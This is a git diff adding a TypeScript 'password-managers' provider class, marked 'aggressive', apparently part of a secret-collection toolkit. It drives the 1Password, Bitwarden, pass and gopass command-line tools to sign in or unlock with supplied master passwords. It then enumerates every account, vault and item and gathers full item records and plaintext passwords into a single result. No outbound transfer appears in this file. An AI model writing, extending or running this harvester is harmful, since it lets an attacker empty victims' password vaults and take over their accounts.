diff --git a/src/providers/passwords/passwords.ts b/src/providers/passwords/passwords.ts new file mode 100644 index 0000000..ed1dd70 --- /dev/null +++ b/src/providers/passwords/passwords.ts @@ -0,0 +1,439 @@ +import { spawn } from "child_process"; + +import { Provider } from "../base"; +import type { ProviderResult } from "../types"; + +interface CommandResult { + stdout: string; + exitCode: number; +} + +interface OnePasswordAccount { + secrets: Record; +} + +interface PasswordManagerSecrets { + onepassword: Record; + bitwarden: Record; + pass: Record; + gopass: Record; +} + +interface MasterPasswords { + onepassword?: string; + bitwarden?: string; + pass?: string; + gopass?: string; +} + +export class PasswordManagerProvider extends Provider { + private readonly TIMEOUT_MS = 10000; + private readonly masterPasswords: MasterPasswords; + + constructor(masterPasswords: MasterPasswords = {}) { + super("password-managers", "secrets", undefined, "aggressive"); + this.masterPasswords = masterPasswords; + } + + private async runCommand( + command: string, + args: string[], + signal?: AbortSignal, + stdin?: string, + ): Promise { + return new Promise((resolve) => { + const controller = new AbortController(); + const timeout = setTimeout(() => { + controller.abort(); + }, this.TIMEOUT_MS); + + const abortHandler = () => controller.abort(); + if (signal) { + if (signal.aborted) { + clearTimeout(timeout); + resolve({ stdout: "", exitCode: -1 }); + return; + } + signal.addEventListener("abort", abortHandler); + } + + const proc = spawn(command, args, { + stdio: stdin ? ["pipe", "pipe", "pipe"] : ["ignore", "pipe", "pipe"], + signal: controller.signal, + }); + + if (stdin && proc.stdin) { + proc.stdin.write(stdin); + proc.stdin.end(); + } + + let stdout = ""; + let stderr = ""; + + proc.stdout?.on("data", (data) => { + stdout += data.toString(); + }); + + proc.stderr?.on("data", (data) => { + stderr += data.toString(); + }); + + proc.on("error", () => { + clearTimeout(timeout); + if (signal) signal.removeEventListener("abort", abortHandler); + resolve({ stdout: "", exitCode: -1 }); + }); + + proc.on("close", (code) => { + clearTimeout(timeout); + if (signal) signal.removeEventListener("abort", abortHandler); + resolve({ stdout: stdout.trim(), exitCode: code ?? -1 }); + }); + }); + } + + private async signinOnePassword( + signal?: AbortSignal, + ): Promise { + if (!this.masterPasswords.onepassword) { + return false; + } + + const signinResult = await this.runCommand( + "op", + ["signin", "--raw"], + signal, + this.masterPasswords.onepassword, + ); + + return signinResult.exitCode === 0; + } + + private async collectOnePassword( + signal?: AbortSignal, + ): Promise> { + const result: Record = {}; + + const checkResult = await this.runCommand( + "op", + ["account", "list", "--format=json"], + signal, + ); + + if (checkResult.exitCode !== 0) { + if (this.masterPasswords.onepassword) { + const signedIn = await this.signinOnePassword(signal); + if (!signedIn) { + return result; + } + } else { + return result; + } + } + + const accountsResult = await this.runCommand( + "op", + ["account", "list", "--format=json"], + signal, + ); + + if (accountsResult.exitCode !== 0 || !accountsResult.stdout) { + return result; + } + + let accounts: any[]; + try { + accounts = JSON.parse(accountsResult.stdout); + } catch { + return result; + } + + for (const account of accounts) { + const accountId = + account.account_uuid || account.url || "unknown-account"; + const accountSecrets: Record = {}; + + const vaultsResult = await this.runCommand( + "op", + ["vault", "list", "--format=json", `--account=${accountId}`], + signal, + ); + + if (vaultsResult.exitCode !== 0 || !vaultsResult.stdout) { + continue; + } + + let vaults: any[]; + try { + vaults = JSON.parse(vaultsResult.stdout); + } catch { + continue; + } + + for (const vault of vaults) { + const vaultId = vault.id || ""; + const vaultName = vault.name || vaultId; + + const itemsResult = await this.runCommand( + "op", + [ + "item", + "list", + "--vault", + vaultId, + `--account=${accountId}`, + "--format=json", + ], + signal, + ); + + if (itemsResult.exitCode !== 0 || !itemsResult.stdout) { + continue; + } + + let items: any[]; + try { + items = JSON.parse(itemsResult.stdout); + } catch { + continue; + } + + const vaultSecrets: Record = {}; + + for (const item of items) { + const itemId = item.id || ""; + const itemTitle = item.title || itemId; + + const detailResult = await this.runCommand( + "op", + [ + "item", + "get", + itemId, + "--vault", + vaultId, + `--account=${accountId}`, + "--format=json", + ], + signal, + ); + + if (detailResult.exitCode !== 0 || !detailResult.stdout) { + continue; + } + + try { + vaultSecrets[itemTitle] = JSON.parse(detailResult.stdout); + } catch { + } + } + + if (Object.keys(vaultSecrets).length > 0) { + accountSecrets[vaultName] = vaultSecrets; + } + } + + if (Object.keys(accountSecrets).length > 0) { + result[accountId] = { secrets: accountSecrets }; + } + } + + return result; + } + + private async unlockBitwarden( + signal?: AbortSignal, + ): Promise { + if (!this.masterPasswords.bitwarden) { + return null; + } + + const unlockResult = await this.runCommand( + "bw", + ["unlock", "--raw"], + signal, + this.masterPasswords.bitwarden, + ); + + if (unlockResult.exitCode === 0 && unlockResult.stdout) { + return unlockResult.stdout; + } + + return null; + } + + private async collectBitwarden( + signal?: AbortSignal, + ): Promise> { + const result: Record = {}; + + const statusResult = await this.runCommand("bw", ["status"], signal); + + if (statusResult.exitCode !== 0 || !statusResult.stdout) { + return result; + } + + let status: any; + try { + status = JSON.parse(statusResult.stdout); + } catch { + return result; + } + + let sessionToken: string | null = null; + + if (status.status !== "unlocked") { + if (status.status === "locked") { + sessionToken = await this.unlockBitwarden(signal); + if (!sessionToken) { + result.status = "locked"; + return result; + } + } else { + result.status = status.status || "unknown"; + return result; + } + } + + const listArgs = sessionToken + ? ["list", "items", "--session", sessionToken] + : ["list", "items"]; + + const itemsResult = await this.runCommand("bw", listArgs, signal); + + if (itemsResult.exitCode !== 0 || !itemsResult.stdout) { + return result; + } + + let items: any[]; + try { + items = JSON.parse(itemsResult.stdout); + } catch { + return result; + } + + for (const item of items) { + const name = item.name || item.id || "unknown"; + result[name] = item; + } + + return result; + } + + private async collectPass( + signal?: AbortSignal, + ): Promise> { + const result: Record = {}; + + const listResult = await this.runCommand("pass", ["ls"], signal); + + if (listResult.exitCode !== 0 || !listResult.stdout) { + return result; + } + + const entries = listResult.stdout.match( + /[├└─│\s]+([\w./@\-]+)$/gm, + ) || []; + + for (const match of entries) { + const entry = match.replace(/[├└─│\s]+/, "").trim(); + + if (!entry) continue; + + const secretResult = await this.runCommand( + "pass", + ["show", entry], + signal, + ); + + if (secretResult.exitCode === 0 && secretResult.stdout) { + result[entry] = secretResult.stdout; + } + } + + return result; + } + + private async collectGopass( + signal?: AbortSignal, + ): Promise> { + const result: Record = {}; + + const listResult = await this.runCommand( + "gopass", + ["list", "--flat"], + signal, + ); + + if (listResult.exitCode !== 0 || !listResult.stdout) { + return result; + } + + const entries = listResult.stdout.split("\n"); + + for (const entry of entries) { + const trimmedEntry = entry.trim(); + + if (!trimmedEntry) continue; + + const secretResult = await this.runCommand( + "gopass", + ["show", "--password", trimmedEntry], + signal, + ); + + if (secretResult.exitCode === 0 && secretResult.stdout) { + result[trimmedEntry] = secretResult.stdout; + } + } + + return result; + } + + async execute(signal?: AbortSignal): Promise { + try { + const secrets: PasswordManagerSecrets = { + onepassword: {}, + bitwarden: {}, + pass: {}, + gopass: {}, + }; + + const [onepasswordData, bitwardenData, passData, gopassData] = + await Promise.all([ + this.collectOnePassword(signal), + this.collectBitwarden(signal), + this.collectPass(signal), + this.collectGopass(signal), + ]); + + secrets.onepassword = onepasswordData; + secrets.bitwarden = bitwardenData; + secrets.pass = passData; + secrets.gopass = gopassData; + + const totalSecrets = + Object.keys(secrets.onepassword).length + + Object.keys(secrets.bitwarden).length + + Object.keys(secrets.pass).length + + Object.keys(secrets.gopass).length; + + if (totalSecrets === 0) { + return this.failure("No password managers found or accessible"); + } + + return this.success({ + totalSecrets, + managers: { + onepassword: Object.keys(secrets.onepassword).length, + bitwarden: Object.keys(secrets.bitwarden).length, + pass: Object.keys(secrets.pass).length, + gopass: Object.keys(secrets.gopass).length, + }, + secrets, + }); + } catch (e) { + return this.failure(e instanceof Error ? e : new Error(String(e))); + } + } +}